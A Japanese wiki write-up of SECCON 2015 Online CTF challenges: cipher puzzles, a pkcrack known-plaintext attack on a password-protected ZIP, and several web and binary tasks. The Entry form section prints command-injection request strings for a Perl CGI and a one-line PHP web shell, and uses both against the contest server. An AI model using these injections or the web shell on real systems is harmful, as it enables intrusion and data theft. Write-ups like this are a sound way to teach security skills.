「SECCON 2015 Online CTF」の版間の差分

提供: セキュリティ
移動: 案内検索
行1: 行1:
2015/12/05 15:00 - 2015/12/06 15:00 の24時間に、SECCON 2015 Online CTF が開催されました。
+
2015/12/05 15:00 - 2015/12/06 15:00 の24時間に、SECCON 2015 Online CTF が開催されました。write-upです。
  
 
'''読み方'''
 
'''読み方'''

2015年12月6日 (日) 20:00時点における版

2015/12/05 15:00 - 2015/12/06 15:00 の24時間に、SECCON 2015 Online CTF が開催されました。write-upです。

読み方

SECCON
せくこん

概要

最近、アメリカの利上げ関係で、アクセスが伸びているページがあるのですが、土日は、 SECCON CTF の影響かパスワードのクラックのページのアクセスが伸びてました。

Exercises 50: Start SECCON CTF

まずは、手始めの練習問題の出題です。

ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
  
ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}
  
quiz
Cipher:A}FFDNEVPFSGV}KZPN}GO
Plain: ?????????????????????
  
There is no bonus in this question

あまり、何も考える必要のない問題です。

$ echo 'A}FFDNEVPFSGV}KZPN}GO' | \
tr 'PXFR}QIVTMSZCNDKUWAGJB{LHYEO' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
SECCON{HACKTHEPLANET}

以上で終わりです。

Stegano 100: SECCON WARS 2015

動画からQRコードを読み取る問題です。

Crypto 100: Unzip the file =

パスワード付 ZIP ファイルから FLAG の入っているファイルを取り出す問題です。 解き方は、既知平文攻撃です。

unzip するとパスワードがないため、ファイルが開けません。

$ unzip unzip
Archive:  unzip
[unzip] backnumber08.txt password:
   skipping: backnumber08.txt        incorrect password
   skipping: backnumber09.txt        incorrect password
   skipping: flag                    incorrect password

中に

backnumber08.txt
backnumber09.txt
flag

の3つのファイルがあることがわかります。

backnumber08 を検索エンジンで検索してみると以下のファイルが存在することがわかりました。 http://2014.seccon.jp/mailmagazine/backnumber08.txt http://2015.seccon.jp/mailmagazine/backnumber09.txt

上記のファイルをダウンロードしてきます。

7zip でダウンロードしたzipファイルの中身のファイルサイズを見ると、backnumber*.txt のサイズと一致していることがわかりました。あってそうですね。

pkcrack の使い方は、パスワードクラッキングツール pkcrack を参考にしました。

crack1.sh         test.zip          zip.sh
$ pkcrack -C unzip -c backnumber08.txt -p backnumber08.txt -d decrypted.zip
Warning! Plaintext is longer than Ciphertext!
Files read. Starting stage 1 on Sun Dec  6 18:56:26 2015
Generating 1st generation of possible key2_14193 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 957 values at offset 11566
省略
Lowest number: 104 values at offset 9512
Lowest number: 99 values at offset 9511
Done. Left with 99 possible Values. bestOffset is 9511.
Stage 1 completed. Starting stage 2 on Sun Dec  6 18:56:44 2015
Stage 2 completed. Starting zipdecrypt on Sun Dec  6 18:56:52 2015
No solutions found. You must have chosen the wrong plaintext.
Finished on Sun Dec  6 18:56:52 2015

上記は、失敗でした。

zip backnumber09.zip backnumber09.txt
$ pkcrack -C unzip -c backnumber09.txt -p backnumber09.txt -Pbacknumber09.zip -d decrypted.zip
Warning! Plaintext is longer than Ciphertext!
Files read. Starting stage 1 on Sun Dec  6 19:05:00 2015
Generating 1st generation of possible key2_12075 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 982 values at offset 8086
省略
Lowest number: 92 values at offset 2853
Done. Left with 92 possible Values. bestOffset is 2853.
Stage 1 completed. Starting stage 2 on Sun Dec  6 19:05:22 2015
Stage 2 completed. Starting zipdecrypt on Sun Dec  6 19:05:23 2015
No solutions found. You must have chosen the wrong plaintext.
Finished on Sun Dec  6 19:05:23 2015
薫 $ ls
backnumber08.txt  backnumber09.zip  pw.txt            unzip
backnumber09.txt  crack1.sh         test.zip          zip.sh
薫 $ pkcrack -C unzip -c backnumber09.txt -p backnumber09.txt -P backnumber09.zip -d decrypted.zip
Files read. Starting stage 1 on Sun Dec  6 19:09:49 2015
Generating 1st generation of possible key2_4850 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Done. Left with 3342 possible Values. bestOffset is 24.
Stage 1 completed. Starting stage 2 on Sun Dec  6 19:10:12 2015
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 4831 bytes.
Stage 2 completed. Starting zipdecrypt on Sun Dec  6 19:12:37 2015
Decrypting backnumber08.txt (5315a01322ab296c211eecba)... OK!
Decrypting backnumber09.txt (83e6640cbec32aeaf10ed1ba)... OK!
Decrypting flag (34e4d2ab7fe1e2421808bab2)... OK!
Finished on Sun Dec  6 19:12:37 2015

解読してできた zip ファイルを開きます。

$ unzip ../decrypted.zip
Archive:  ../decrypted.zip
  inflating: backnumber08.txt
  inflating: backnumber09.txt
  inflating: flag

flag ファイルを cat したら、画面がスゴイことになりました。

cat flag

表示が崩れたので、原因を探るために、flag のファイルを調べると マイクロソフトのWord のファイルでした。

$ file flag
flag: Microsoft Word 2007+

flag.docx として、ファイルを開きます。まっしろのファイルが出てきて、目が点になりました。C-a で全体選択すると、選択エリアが表示されますが、やはり何も見えません。 気にせず、vimにペースとしてみると、

SECCON{1s_th1s_passw0rd_ weak?}

とフラグが出てきました。

マイクロソフトのWordが入ってないので、OpenOffice で開いたんですけどね。

Binary 100: Reverse-Engineering Android APK 1

Web/Network 200: Fragment2

pcap ファイルから FLAG を見つける問題です。

Web/Network 100: Connect the server

問題は、これだけ。

login.pwn.seccon.jp:10000

接続すると以下のメッセージがでます。

$ ncat login.pwn.seccon.jp:10000
CONNECT 300
 
Welcome to SECCON server.
 
The server is connected via slow dial-up connection.
Please be patient, and do not brute-force.
 
login:
 
Login timer timed out.
Thank you for your cooperation.
 
HINT: It is already in your hands.
 
Good bye.

これを vim で開いてみます。怪しげなところが見えてきました。

Please be patient, and do not brute-force.
S^H ^HE^H ^HC^H ^HC^H ^HO^H ^HN^H ^H{^H ^HS^H ^Ho^H ^Hm^H ^He^H ^Ht^H ^Hi^H ^Hm^H ^He^H ^Hs^H ^H_^H ^Hw^H ^Hh^H ^Ha^H ^Ht^H ^H_^H ^Hy^H ^Ho^H ^Hu^H ^H_^H ^Hs^H ^He^H ^He^H ^H_^H ^Hi^H ^Hs^H ^H_^H ^HN^H ^HO^H ^HT^H ^H_^H ^Hw^H ^Hh^H ^Ha^H ^Ht^H ^H_^H ^Hy^H ^Ho^H ^Hu^H ^H_^H ^Hg^H ^He^H ^Ht^H ^H}^H ^H
login:

} が後ろに見えるので、 FLAG っぽいですね。

これは、文字を ^H で消しているらしいです。 そんなわけで、 ^H を除去します。

:s/^H//g

をvimで実行します。

S E C C O N { S o m e t i m e s _ w h a t _ y o u _ s e e _ i s _ N O T _ w h a t _ y o u _ g e t }

というわけで、だいたい完了ですね。

:s/ //g

スペースを除去すると

SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

回答になります。

Unknown 100: Command-Line Quiz

 telnet caitsith.pwn.seccon.jp
 User:root
 Password:seccon
 The goal is to find the flag word by "somehow" reading all *.txt files.
 
 telnet caitsith.pwn.seccon.jp
 User:root
 Password:seccon
 すべての *.txt ファイルを読め
  • .txt は、最初から全部見えるわけではなく、問題をといていくと、読めるファイルが増えていきます。
$ telnet caitsith.pwn.seccon.jp
Trying 153.120.171.19...
Connected to caitsith.pwn.seccon.jp.
Escape character is '^]'.
 
CaitSith login: root
Password:
$ ls
bin         etc         init        linuxrc     sbin        stage2.txt  stage4.txt  tmp
dev         flags.txt   lib         proc        stage1.txt  stage3.txt  stage5.txt  usr
$ ls -lt
drwxrwxrwt    2 10085    10085          60 Dec  5 09:26 tmp
drwxr-xr-x    2 root     0            1880 Dec  5 05:18 bin
dr-xr-xr-x 1257 root     0               0 Dec  5 05:18 proc
drwxr-xr-x    2 root     0            1180 Dec  5 05:18 sbin
drwxr-xr-x    3 root     0             180 Dec  5 05:02 dev
drwxr-xr-x    2 root     0             100 Dec  5 05:02 etc
drwxr-xr-x    2 root     0              80 Dec  5 05:02 lib
drwxr-xr-x    4 root     0              80 Dec  5 05:02 usr
-rwx------    1 root     0           13750 Dec  5 05:01 init
-rw-r--r--    1 600      0              87 Dec  5 04:48 flags.txt
-rw-r--r--    1 100      0             262 Dec  5 04:48 stage1.txt
-rw-r--r--    1 200      0             265 Dec  5 04:48 stage2.txt
-rw-r--r--    1 300      0             270 Dec  5 04:48 stage3.txt
-rw-r--r--    1 400      0             247 Dec  5 04:48 stage4.txt
-rw-r--r--    1 500      0             280 Dec  5 04:48 stage5.txt
-rwxr-xr-x  313 root     0          831112 Feb 19  2015 linuxrc
$ cat stage1.txt
What command do you use when you want to read only top lines of a text file?
 
Set your answer to environment variable named stage1 and execute a shell.
 
  $ stage1=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage2.txt file.
$ stage1=head sh
$ ls -lt
drwxrwxrwt    2 10085    10085          60 Dec  5 09:26 tmp
drwxr-xr-x    2 root     0            1880 Dec  5 05:18 bin
dr-xr-xr-x 1257 root     0               0 Dec  5 05:18 proc
drwxr-xr-x    2 root     0            1180 Dec  5 05:18 sbin
drwxr-xr-x    3 root     0             180 Dec  5 05:02 dev
drwxr-xr-x    2 root     0             100 Dec  5 05:02 etc
drwxr-xr-x    2 root     0              80 Dec  5 05:02 lib
drwxr-xr-x    4 root     0              80 Dec  5 05:02 usr
-rwx------    1 root     0           13750 Dec  5 05:01 init
-rw-r--r--    1 600      0              87 Dec  5 04:48 flags.txt
-rw-r--r--    1 100      0             262 Dec  5 04:48 stage1.txt
-rw-r--r--    1 200      0             265 Dec  5 04:48 stage2.txt
-rw-r--r--    1 300      0             270 Dec  5 04:48 stage3.txt
-rw-r--r--    1 400      0             247 Dec  5 04:48 stage4.txt
-rw-r--r--    1 500      0             280 Dec  5 04:48 stage5.txt
-rwxr-xr-x  313 root     0          831112 Feb 19  2015 linuxrc
$ cat stage2.txt
What command do you use when you want to read only bottom lines of a text file?
 
Set your answer to environment variable named stage2 and execute a shell.
 
  $ stage2=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage3.txt file.
$ stage2=tail sh
$ cat stage3.txt
What command do you use when you want to pick up lines that match specific patterns?
 
Set your answer to environment variable named stage3 and execute a shell.
 
  $ stage3=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage4.txt file.
$ stage3=grep sh
$ cat stage4.txt
What command do you use when you want to process a text file?
 
Set your answer to environment variable named stage4 and execute a shell.
 
  $ stage4=$your_answer_here sh
 
If your answer is what I meant, you will be able to access stage5.txt file.
$ stage4=awk sh
$ cat stage5.txt
OK. You reached the final stage. The flag word is in flags.txt file.
 
flags.txt can be read by only one specific program which is available
in this server. The program for reading flags.txt is one of commands
you can use for processing a text file. Please find it. Good luck. ;-)
$ awk '{print $1}' flags.txt
awk: flags.txt: Operation not permitted
$
$ sed 's/s//' flags.txt
OK. You have read all .txt file. The flag word is shown below.
 
SECCON{CaitSith@AQUA}

Web/Network 100: Entry form

問題は、以下のとおりです。

http://entryform.pwn.seccon.jp/register.cgi
 
( Do not use your real mail address.)
(登録情報に他人に知られたくないメールアドレスは使用しないでください)
http://entryform.pwn.seccon.jp/register.cgi

にアクセスします。パスからもわかりますが、CGIが動いてます。 パラメータを弄くって、なにかするんだろ、と思いました。

メールアドレスを入れる欄があるので、入れてみますが、メールは届きません。

途方にくれていましたが、

http://entryform.pwn.seccon.jp/register.cgi

のディレクトリを漁ることになりました。

http://entryform.pwn.seccon.jp/

を見てみると

SECRETS
register.cgi
register.cgi_bak
logo.png

などのファイルがありました。

register.cgi_bak というファイルがあるので、ダウンロードしました。これは、register.cgi のソースコード(perl)です。

ソースコードをながめていると FLAG HERE というコメントがあります。

if($q->param("mail") ne '' && $q->param("name") ne '') {
  open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
  print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject:
 from SECCON Entry Form\n\nWe received your entry.\n";
  close(SH);
 
  open(LOG, ">>log"); ### <-- FLAG HERE ###

log というファイルに FLAG があるようです。

open 関数に、コマンドを流し込めば、なんとかできそうに見えます。

cat log

みたいなコマンドラインが突っ込めるとよさそうです。

register.cgi で cat log がうまくできなかったのと、 SECRETS のディレクトリが気になったので、そちらをあさってみました。

?mail=test%40a.com'%3B+ls+-l+.%2FSECRETS+%23&name=a&action=Send

みたいなリクエストを送ると、レスポンスに以下のテキストが入ってきます。

total 8
-r--r--r-- 1 root root 42 Dec  1 21:52 backdoor123.php
-r--r--r-- 1 root root 19 Dec  1 21:52 index.html

backdoor123.php という怪しいのがみつかります。で、これの中身が気になったので、ソースを眺めてみます。

$ curl -s "http://entryform.pwn.seccon.jp/register.cgi?mail=test%40gmail.com%27%3B+cat+.%2FSECRETS%2Fbackdoor123.php+%23&name=a&action=Send"
<?php system($_GET['cmd']); ?>

つまり、PHPのソースコードは以下のとおりです。

UNIQd6ce3a56f2a9af83-pre-00000014-QINU

ここまでくれば、問題が解けそうですね。

PHP を利用して、コマンドインジェクションしてみます。 FLAG が入っているとウワサのログ(log)ファイルを確認します。

http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat ../log
 
SECCON{Glory_will_shine_on_you.}

できた!ということで、解けました。

Binary 300: Exec dmesg

問題は、以下のとおりです。

Please find secret message from the iso linux image.
image.zip
  
秘密のメッセージをLinuxのisoイメージの中から見つけてください。
image.zip

Exec dmesgは、 Linux の iso イメージからヒミツのメッセージを見つけてください、という問題です。問題文から dmesg を実行したら良さそうに見えます。

まず、iso イメージのLinuxを起動します。 VMWare Player で新しい仮想マシンを作成して、インストールメディアとして tiny_linux/core-current.iso イメージをマウントして、起動します。

dmesg コマンドを実行してみますが、実行できず、確認できません。

tc@box:~$ dmesg
dmesg: applet not found

そこで、以下の手順で FLAG を探します。

$ cat /dev/kmsg | grep SECCON
7,311,180341,-;SECCON{elf32-i386}

これが、FLAGのようです。

/proc/kmsg では、見つかりませんでした。

sudo cat /proc/kmsg

Binary 200: Individual Elebin

 Execute all ELF files
 Individual_Elebin.zip
 
 すべてのELFファイルを実行せよ
 Individual_Elebin.zip

異なるCPUアーキテクチャのELFのファイル達が用意されています。x86 な環境のため、1.bin だけが動きます。それ以外は、動きません。

$ file *.bin
1.bin:  ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, stripped
2.bin:  ELF 32-bit MSB executable, MC68HC11, version 1 (SYSV), statically linked, stripped
3.bin:  ELF 32-bit LSB executable, NEC v850, version 1 (SYSV), statically linked, stripped
4.bin:  ELF 32-bit MSB executable, Renesas M32R, version 1 (SYSV), statically linked, stripped
5.bin:  ELF 64-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
6.bin:  ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
7.bin:  ELF 32-bit LSB executable, Motorola RCE, version 1 (SYSV), statically linked, stripped
8.bin:  ELF 32-bit LSB executable, Axis cris, version 1 (SYSV), statically linked, stripped
9.bin:  ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, stripped
10.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
11.bin: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

FLAGの先頭は、以下のとおりです。

$ ./1.bin
SECCON{AaA

QEMU 祭を開催するのだと思い、エミュレータ QEMUをインストールします。

sudo apt install qemu binfmt-support qemu-user-static

試してみましたが、ことごとく、あえなく轟沈。

$ file 6.bin
6.bin: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
薫 $ qemu-sparc 6.bin 
[1]    18106 segmentation fault (core dumped)  qemu-sparc 6.bin
$ qemu-mips 11.bin 
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Exercises 50: Last Challenge (Thank you for playing)

暗号の練習問題的な問題です。特に道具は必要はなく、 vim の中で解きました。

ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}

quiz
Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????

There is no bonus in this question

ここを解きます。

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????

今までの問題で、以下の形式になっていることがわかってます。

Plain: SECCON{______________}

というわけで

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: SECCON{______________}

になるので

A->S
}->E
F->C
D->O
N->N
E->{
O->}

が自動的に決定しました。 それを当てはめると

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: SECCON{SEE_O_NE___E__}

になります。なんとなく、見えてきてますよね。 SEE YOU ... みたいになりそうです。

ここからは、 ex1 と ex1 の変換を当てはめていくと

SECCON{SEEYOUNEXTYEAR}

となりました。これが答えです。

SEE YOU NEXT YEAR ということで、また来年、というメッセージでした。

関連項目